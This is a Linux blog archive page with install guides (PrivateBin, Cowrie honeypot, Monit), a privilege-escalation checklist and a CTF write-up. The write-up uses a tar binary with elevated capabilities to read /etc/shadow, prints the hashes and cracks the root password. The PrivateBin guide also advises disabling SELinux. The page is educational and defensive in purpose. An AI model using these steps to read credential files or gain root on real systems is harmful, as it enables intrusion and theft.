linux Archives - Page 2 of 2

How to Install PrivateBin on Fedora 29.

Posted on February 12, 2019 - February 20, 2019 by nxnjz

PrivateBin is a minimalist online pastebin where the server has zero knowledge of pasted data. This application supports password-protection, expiration, and self-destruction after reading. It is completely open-source and hosted on github. This article will guide through the installation and configuration of PrivateBin on a Fedora 29 system.

Prerequisites

A Fedora 29 system obviously.
Root access to your server (via the root user or a user with sudo privileges.)
A web server with PHP (Instructions below.)
A MySQL database (Instructions below.)

Preparations

If you’re not logged in as the root user, execute sudo -i to obtain a temporary root shell.

Update your system and install required software.


dnf update
dnf install -y git

Git will be used to download PrivateBin from its github repository.

Installing a web server stack:

We will be using Apache and PHP. Execute the following to install the required packages:

dnf install -y httpd php php-common php-xml php-mbstring \
php-mysqlnd php-pdo php-mcrypt php-json

Make sure Apache is enabled and running:

systemctl enable --now httpd.service

Configuring Apache

Using a text editor of your choice, create a new configuration file for Apache. For instance:

vim /etc/httpd/conf.d/privatebin.conf

Populate it with the following (insert your IP address or a domain name pointing to your IP for ServerName):

<VirtualHost *:80>
    ServerName YOUR_SERVER_IP
    DocumentRoot /var/www/html/PrivateBin/
    ErrorLog /var/log/httpd/privatebin-error.log
    CustomLog /var/log/httpd/privatebin-access.log combined
    <Directory /var/www/html/PrivateBin>
    AllowOverride All
    </Directory>
</VirtualHost>

Save and exit.

Reload the configuration:

systemctl reload httpd.service

Installing PrivateBin

Since PrivateBin is hosted on github, we’ll clone the repository locally:

cd /var/www/html/ && git clone https://github.com/PrivateBin/PrivateBin.git

And give the Apache user ownership of the PrivateBin directory:

chown -R apache:apache PrivateBin/

Configure firewalld to allow HTTP traffic:


firewall-cmd --add-service http --permanent
firewall-cmd --reload

You should now be able to access PrivateBin on http://YOUR_SERVER_IP. For better security/privacy, you should consider using a domain name with HTTPS, however this is beyond the scope of this guide.

If you encounter server-side errors during PrivateBin usage, SELinux is the likely culprit. To disable it, open /etc/sysconfig/selinux with a text editor of your choice, and replace SELINUX=enforcing with SELINUX=disabled. You should now either reboot, or execute setenforce 0 to disable SELinux immediately.

Optional

PrivateBin supports MySQL storage in place of the default file-based storage model. To implement MySQL storage, follow the steps below.

Installing MariaDB

dnf install -y mariadb-server mariadb 

systemctl enable --now mariadb.service

Secure your MySQL installation with this command:

mysql_secure_installation

Answer the questions as follows:

Enter current password for root (enter for none): Enter
Set root password? [Y/n]: Y
New password: <your-password>
Re-enter new password: <your-password>
Remove anonymous users? [Y/n]: Y
Disallow root login remotely? [Y/n]: Y
Remove test database and access to it? [Y/n]: Y
Reload privilege tables now? [Y/n]: Y

Make sure you use a strong password.

Configuring MariaDB

Create a database and user for PrivateBin:

mysql -u root -p

MariaDB [(none)]> CREATE DATABASE privatebin DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci;
MariaDB [(none)]> CREATE USER 'privatebin'@'localhost' IDENTIFIED BY 'newpassword';
MariaDB [(none)]> GRANT ALL PRIVILEGES ON privatebin.* TO 'privatebin'@'localhost';
MariaDB [(none)]> exit;

Make sure you replace newpassword with a secure password. It should be different from the password you chose for the MariaDB root user.

Changing Storage Mode

First, copy the default configuration file for editing:

cd /var/www/html/PrivateBin/cfg
cp conf.sample.php conf.php

Using a text editor of your choice, open the file conf.php. Find the following segment:

[model]
; name of data model class to load and directory for storage
; the default model "Filesystem" stores everything in the filesystem
class = Filesystem
[model_options]
dir = PATH "data"

;[model]
; example of DB configuration for MySQL
;class = Database
;[model_options]
;dsn = "mysql:host=localhost;dbname=privatebin;charset=UTF8"
;tbl = "privatebin_"    ; table prefix
;usr = "privatebin"
;pwd = "Z3r0P4ss"
;opt[12] = true      ; PDO::ATTR_PERSISTENT

And replace it with:

; [model]
; name of data model class to load and directory for storage
; the default model "Filesystem" stores everything in the filesystem
; class = Filesystem
; [model_options]
; dir = PATH "data"

[model]
class = Database
[model_options]
dsn = "mysql:host=localhost;dbname=privatebin;charset=UTF8"
tbl = "privatebin_"    ; table prefix
usr = "privatebin"
pwd = "newpassword"
opt[12] = true      ; PDO::ATTR_PERSISTENT

Again, make sure you replace newpassword with the password chosen during user creation in the MySQL console, then save and exit.

Restart apache:

systemctl restart httpd.service

PrivateBin will now store pasted data in its MySQL database.

Ampache streaming server installation guides.

Posted on February 5, 2019 - February 21, 2019 by nxnjz

Ampache is a web based audio/video streaming application and file manager allowing you to access your personal music & videos from anywhere, using almost any internet-connected device. It can be installed on most platforms with relative ease. You can visit Ampache’s github page here.

Below are links to detailed guides for 4 major Linux distributions. Familiarity with the shell and privileged (root) access are required.

Ampache Installation on Debian 9.

Ampache Installation on Ubuntu 18.04.

Ampache Installation on CentOS 7.

Ampache Installation on Fedora 29.

Deploying an Interactive SSH Honeypot on Debian 9.

Posted on January 12, 2019 - February 6, 2019 by nxnjz

Introduction

A honeypot is a piece of software or a system that is designed to detect and monitor malicious activity, and deflect attackers from your actual production services and systems. This article will explain the deployement of an interactive SSH honeypot using Cowrie, a free and open-source solution. It can log brute force connection attempts and any commands executed by attackers. Additionally, it employs a fake, isolated filesystem for better interaction and deception. A Debian 9 Server will be used for this tutorial. You can find instructions for Ubuntu 18.04 here, and CentOS 7 here.

Root privileges are obviously required.

NOTE You can obtain a temporary root shell by running sudo -i or sudo su root or sudo /bin/bash if you only have access to a non-root user with sudo privileges.

Preparations

Step 1: Update your system:


apt update
apt upgrade -y

Step 2: Create a new user account


adduser --disabled-password cowrie

After running this command you will be prompted for the following information:


Full Name []: 
Room Number []: 
Work Phone []: 
Home Phone []: 
Other []:

Leave the fields empty (press enter.)

Step 3: Install dependencies and required packages:

This can be done with the command:


apt install -y python-virtualenv libssl-dev libffi-dev build-essential libpython3-dev python3-minimal authbind git

Installation:

Step 4: Login as the ‘cowrie’ user.


su - cowrie

Step 5: Download the cowrie repository.

Make sure your working directory is “/home/cowrie”


cd /home/cowrie

Cowrie’s code is hosted on github, and can be downloaded with the following command:

git clone http://github.com/cowrie/cowrie

This will download and create a directory ‘cowrie’.

Step 6: Create a python virtualenv.

Virtualenv is a python-based way of running software inside an isolated environment, somewhat similarly to containers.


cd /home/cowrie/cowrie
virtualenv --python=python3 cowrie-env

This will install any missing dependencies and create the required python virtual environment in which the honeypot will run.

Enter this environment with:


. cowrie-env/bin/activate

If successful, you should get a new terminal prompt starting with “(cowrie-env)”. Execute the following to upgrade python-pip and then install the requirements for cowrie.


pip install --upgrade pip
pip install --upgrade -r requirements.txt

Once finished, exit the virtualenv with deactivate.

Step 7: Start the honeypot.

Execute this command:


bin/cowrie start

And exit back to your root shell:


exit

You can make sure that the honey port is running by issuing:


ss -lntp | grep twistd

You should get:

LISTEN     0      50           *:2222 [...]

Step 8: Test the honeypot

You can test this SSH honeypot by connecting to your server via SSH, but on port 2222/tcp. You should be able to authenticate with the username “root” and any password. You’ll get access to a simulated shell environment in a fake filesystem.

Further Configuration

For a proper honeypot, some configuration changes need to be made. First, we will change the default real SSHD port from 22 to something else, then we will have the honeypot listen on port 22, since attackers mostly target the default SSHD port.

Begin by stopping the honeypot:


/home/cowrie/cowrie/bin/cowrie stop

Step 9: Changing ports.

First, we’ll change the default SSHD port. Port 2332 will be used as an example. You can choose any port number, but make sure it is unused by other services.
In your root shell, issue the following command:


echo "Port 2332" >> /etc/ssh/sshd_config

And restart the SSH daemon service:


systemctl restart sshd.service

Then logout:


exit

Reconnect to your server via SSH but on the configured port 2332 instead. We will now configure the Cowrie honeypot to listen for SSH connection attempts on the default port number (22). Authbind will be used to allow Cowrie to bind to port 22 without giving it root privileges.

Create an empty file for port 22 in authbind:


touch /etc/authbind/byport/22

Give the ‘cowrie’ user full ownership of that file:


chown cowrie:cowrie /etc/authbind/byport/22

Set the correct permissions:


chmod 770 /etc/authbind/byport/22

Using a text editor of your choice, open the file /home/cowrie/cowrie/bin/cowrie. Change this line:


AUTHBIND_ENABLED=no

To:


AUTHBIND_ENABLED=yes

This will instruct our honeypot software to bind to network ports using authbind and not directly.

Switch to the ‘cowrie’ user:


su - cowrie

And create a configuration file in /home/cowrie/cowrie/etc/ named cowrie.cfg:


touch /home/cowrie/cowrie/etc/cowrie.cfg

This file will be used for our custom configuration changes. Open it in a text editor of your choice and enter the following line:


[ssh]
listen_port = 22

Once cowrie is started, any SSH connection attempt should now reach our honeypot and not the real SSH daemon.

Make sure you are still logged in as the ‘cowrie’ user and launch the honeypot:


/home/cowrie/cowrie/bin/cowrie start

Step 10: Configuring allowed users.

While legitimate users and their passwords are stored in ‘/etc/passwd’ and ‘/etc/shadow’, fake SSH users are configured in ‘etc/userdb.txt’ in the cowrie environment. You can choose which users are allowed to connect to the fabricated SSH server, and their passwords.

The following format is used to define users and passwords:


[username]:x:[password]

Each user should be on a seperate line (does not have to be a real existing user on your system), and you can define more than one password per user. If you prepend the ‘!’ character to a password, any authentication attempt with that password will be refused. If you insert the wildcard characted ‘*’ instead of a password, any password will be accepted. For instance:


root:x:!toor
root:x:!admin
root:x:*
admin:x:admin

With the above configuration, the ‘root’ user will be allowed to authenticate with any password, except ‘toor’ and ‘admin’. The ‘admin’ user will only be allowed be login with ‘admin’ as password.

The default configuration is:


root:x:!root
root:x:!123456
root:x:!/honeypot/i
root:x:*
tomcat:x:*
oracle:x:*

To change the default, start by creating a file in ‘/home/cowrie/cowrie/etc/’ named ‘userdb.txt’:


touch /home/cowrie/cowrie/etc/userdb.txt

And using a text editor of your choice, populate this file according to your preferences. Restart cowrie for the changes to take effect:


/home/cowrie/cowrie/bin/cowrie stop
/home/cowrie/cowrie/bin/cowrie stop

Conclusion

This article explained the deployement of an interactive SSH honeyport and its basic configuration. Connection attempts, shell activity and other details are logged to /home/cowrie/cowrie/var/log/cowrie. You may use a logging server to store and display honeypot logs instead, but that is beyond the scope of this article. The collected data from the honeypot can be used to populate IP blacklists, to identify potential attacks, and for cybersecurity research purposes.

Monitoring system resources and Apache with Monit.

Posted on November 6, 2018 - November 6, 2018 by nxnjz

Introduction

Monit is a simple yet powerful monitoring tool that can automatically restart services/processes and send email alerts.
It has a clean web interface that runs on its own HTTP server. The steps described below should work on Debian and other Debian-based distros, including Ubuntu.

Installation and Configuration

Install Monit and stop it.

First, install Monit: apt install monit

Then stop it while we configure it: systemctl stop monit

Basic Configuration

By default, Monit configuration files are in /etc/monit.
monitrc is the main configuration file, others may be added in /etc/monit/conf.d and /etc/monit/conf-enabled

Monit can be configured to monitor any process/service/file. For this tutorial I’ll configure it to monitor system resources, network connectivity and bandwidth, and the apache2 service.

First, move to the configuration directory: cd /etc/monit

Then, make a backup of monitrc: cp monitrc monitrc.old

And clear the config file: echo "" > monitrc

We can now safely modify monitrc and we have a backup in case something goes wrong with the configuration. After every configuration change, it is recommended to run monit -t to check the monitrc file and others config files for errors. The output should be “Control file syntax OK”.

Open monitrc with a text editor of your choice.

If you want monit to have a web interface for monitoring, add the following lines:

set httpd port 2813
  allow username:password

Make sure you replace ‘username’ and ‘password’ with values of your choice. Make sure to choose a strong password.
Monit will now be able to serve a monitoring interface via http on port 2813. To access it, you would use http://your-ip:2813 and enter your login credentials. At the moment, the interface will be inaccessible.

We now need to set up some things that allow monit to work properly. These are an ID file where monit stores a hash, a state file where it stores state information, a directory where events will be stored, and a log file where it can write logs. In this tutorial, we will use default locations. You generally will not need to change these. Add the following to the monitrc file:

set logfile /var/log/monit.log
set idfile /var/lib/monit/id
set statefile /var/lib/monit/state

set eventqueue
   basedir /var/lib/monit/events # set the base directory where events will be stored
   slots 100                     # optionally limit the queue size

You can choose how often you want monit to perform checks. For example, for checks to be performed every 30 seconds, add the following:

set daemon 30

Email/Alert Config

For emails, you need an email server running. Assuming you have that already and that you want email alerts, add the following lines (replacing “your-email@your-domain.your-tld” with your email address)


set mailserver localhost
set alert your-email@your-domain.your-tld

Monitoring of system and network resources.

For system load, CPU usage, memory (RAM) usage, network connectivity, bandwidth and swap file/partition usage to be monitored and alerts to be sent in case of excessive load/consumption, the following is needed:

check system $HOST
  if loadavg (1min) > 4 then alert
  if loadavg (5min) > 2 then alert
  if cpu usage > 95% for 10 cycles then alert
  if memory usage > 85% then alert
  if swap usage > 25% then alert
check network public with interface ens3
  if changed link then alert
  if saturation > 90% then alert
  if total uploaded > 1 GB in last hour then alert

Let’s explain these lines.

The first line tells monit to check the system and give it a name, $HOST, which equals the hostname of your VPS.

The second and third lines tells monit to send alerts if system load is higher than 2 for 5 minutes, or higher than 4 for one minute. If your server is under constant heavy load, you may choose to modify these values.

The following 3 lines instruct monit to send alert if CPU, memory, swap usage are higher than 95, 85, and 25% respectively. You can also modify these values to your liking, but the ones provided here and considered reasonable.
The last 4 lines direct monit to check the network interface (You may need to replace ‘ens3’ with your external network interface name) And to send alerts if connectivity goes down, or if the interface is saturated above 90%, or if more than 1GB was uploaded in the last hour. Change ‘1 GB’ according to your network activity.

Apache Monitoring

For apache, monitoring is simple: Check that apache is running and listening on the defined port. If not, restart it.

check process apache with pidfile /run/apache2/apache2.pid
group www
    start program = "/bin/systemctl start apache2"
    stop  program = "/bin/systemctl stop apache2"
if failed host localhost port 80 
    protocol HTTP request "/" then restart

Final checks and deployment

Almost done!

Since we stopped monit, we need to start it with systemctl start monit
Check that our configuration is fine with monit -t

If you followed this tutorial correctly, you should now be able to access the interface and receive alerts. The web interface should now look like the following:

monit web interface

Linux Privilege Escalation Checklist

Posted on August 24, 2018 - July 7, 2020 by nxnjz

Useful for both pentesters and systems administrators, this checklist is focused on privilege escalation on GNU/Linux operating systems. Many of these will also apply to Unix systems, (FreeBSD, Solaris, etc.) and some may apply to Windows. The following information is based on the assumption that you have CLI access to the system as non-root user.

This list is far from complete, it will be periodically updated.

Are there any hashes in /etc/passwd? If so, can they be cracked quickly? (JtR, HashCat)
Is /etc/shadow readable? If so, are the hashes easily crackable?
Is /etc/passwd or /etc/shadow writeable?
Any passwords in configuration or other files? Is the root password one of those?
Does the current user have sudo rights at all? If so, how can they be abused?
Check /home, /root, /etc/ssh for readable private ssh keys.
Check /home, /root, /etc/ssh for writeable public ssh keys. (authorized_keys) . If not, can an authorized_keys file be created for another user?
Kernel exploits?
Check for SUID/SGID files that may give you read/write/execute access to sensitive files.
Vulnerable/exploitable SUID/SGID executables.
Vulnerable/exploitable files with special capabilities. (This is detailed here)
Vulnerable/exploitable services running as another user/root, or that allow shell commands or other system access? (VNC as root for example)
Are shell rc files (.bashrc, .zshrc, .profile, etc.) writeable? If so, malicious commands can be added to that file, will run when the user/root logs in.
Writeable cron jobs, or other executables/scripts that are run by root.
Replaceable/writeable modules/libraries that are used by privileged executables/scripts/processes.
Writeable configuration files (*.conf) that are used by privileges executables/scripts/processes.
Are there any interesting files in /var/mail/ or /home/*/? Any passwords or useful info in /home/*/.bash_history?

An Interesting Privilege Escalation vector (getcap/setcap)

Posted on August 21, 2018 - February 16, 2019 by nxnjz

Introduction

I recently came across an interesting way of escalating privileges on a GNU/Linux system during a CTF challenge. It involves file/process capabilities.

In Linux, files may be given specific capabilities. For example, if an executable needs to access (read) files that are only readable by root, it is possible to give that file this ‘permission’ without having it run with complete root privileges. This allows for a more secure system in general. For more info about this subject, click here.

getcap and setcap are used to view and set capabilities, respectively. They usually belong to the libcap2-bin package on debian and debian-based distributions.

Privilege Escalation

We would start by scanning the file system for files with capabilities using getcap -r / The -r flag tells getcap to search recursively, ‘/‘ to indicate that we want to search the whole system.

The output is usually filled with tens or hundreds of “Operation not supported” errors, making it hard to read. We can redirect errors to /dev/null to get a cleaner output.

nxnjz@test-machine:~$ getcap -r / 2>/dev/null
/home/nxnjz/tar = cap_dac_read_search+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/mtr-packet = cap_net_raw+ep

An unusual finding: tar has cap_dac_read_search capabilities. This means it has read access to anything. We could use this to read SSH keys, or /etc/shadow and get password hashes.

/etc/shadow is usually only readable by root:

nxnjz@test-machine:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied

But since tar has that capability, we can archive /etc/shadow, extract it from the archive and read it.

nxnjz@test-machine:~$ ls
tar
nxnjz@test-machine:~$ ./tar -cvf shadow.tar /etc/shadow
./tar: Removing leading `/’ from member names
/etc/shadow
nxnjz@test-machine:~$ ls
shadow.tar tar
nxnjz@test-machine:~$ ./tar -xvf shadow.tar
etc/shadow
nxnjz@test-machine:~$ ls
etc shadow.tar tar
nxnjz@test-machine:~$ cat etc/shadow
root:$1$xyz$Bf.3hZ4SmETM3A78n1nWr.:17735:0:99999:7:::
daemon:*:17729:0:99999:7:::
bin:*:17729:0:99999:7:::
sys:*:17729:0:99999:7:::
sync:*:17729:0:99999:7:::
games:*:17729:0:99999:7:::
man:*:17729:0:99999:7:::
lp:*:17729:0:99999:7:::
mail:*:17729:0:99999:7:::
news:*:17729:0:99999:7:::
uucp:*:17729:0:99999:7:::
proxy:*:17729:0:99999:7:::
nxnjz:$1$sTfA$SnnNO9Cflvs4aq4ZCU/6J/:17764:0:99999:7:::

After cracking that password hash for root, which turns out to be ‘root1234’, we can login using su:

nxnjz@test-machine:~$ su root
Password:
root@test-machine:/home/nxnjz# whoami
root
root@test-machine:/home/nxnjz#

Conclusion & Mitigation

This is simply an example of how capabilities can serve as a privilege escalation vector. Another very useful capability in a scenario like this would be cap_dac_override, which allows full read/write/execute access. This obviously could be used in various ways to escalate privileges, including but not limited to, adding a root user to /etc/passwd or /etc/shadow, modifying cron jobs running by root, adding a public ssh key to /root/authorized_keys, or simply opening a root shell.

Keep in mind that the presence of a potentially exploitable capability does not guarantee privilege escalation. You’re still limited by the functionality of the executable in question.

Besides, capabilities are rarely used in the wild. System administrators rarely set/change capabilities.

System Administrators should make sure that no abusable or exploitable capabilities are assigned on their file system. Capabilities are generally safer than SUID, but they may still pose a risk.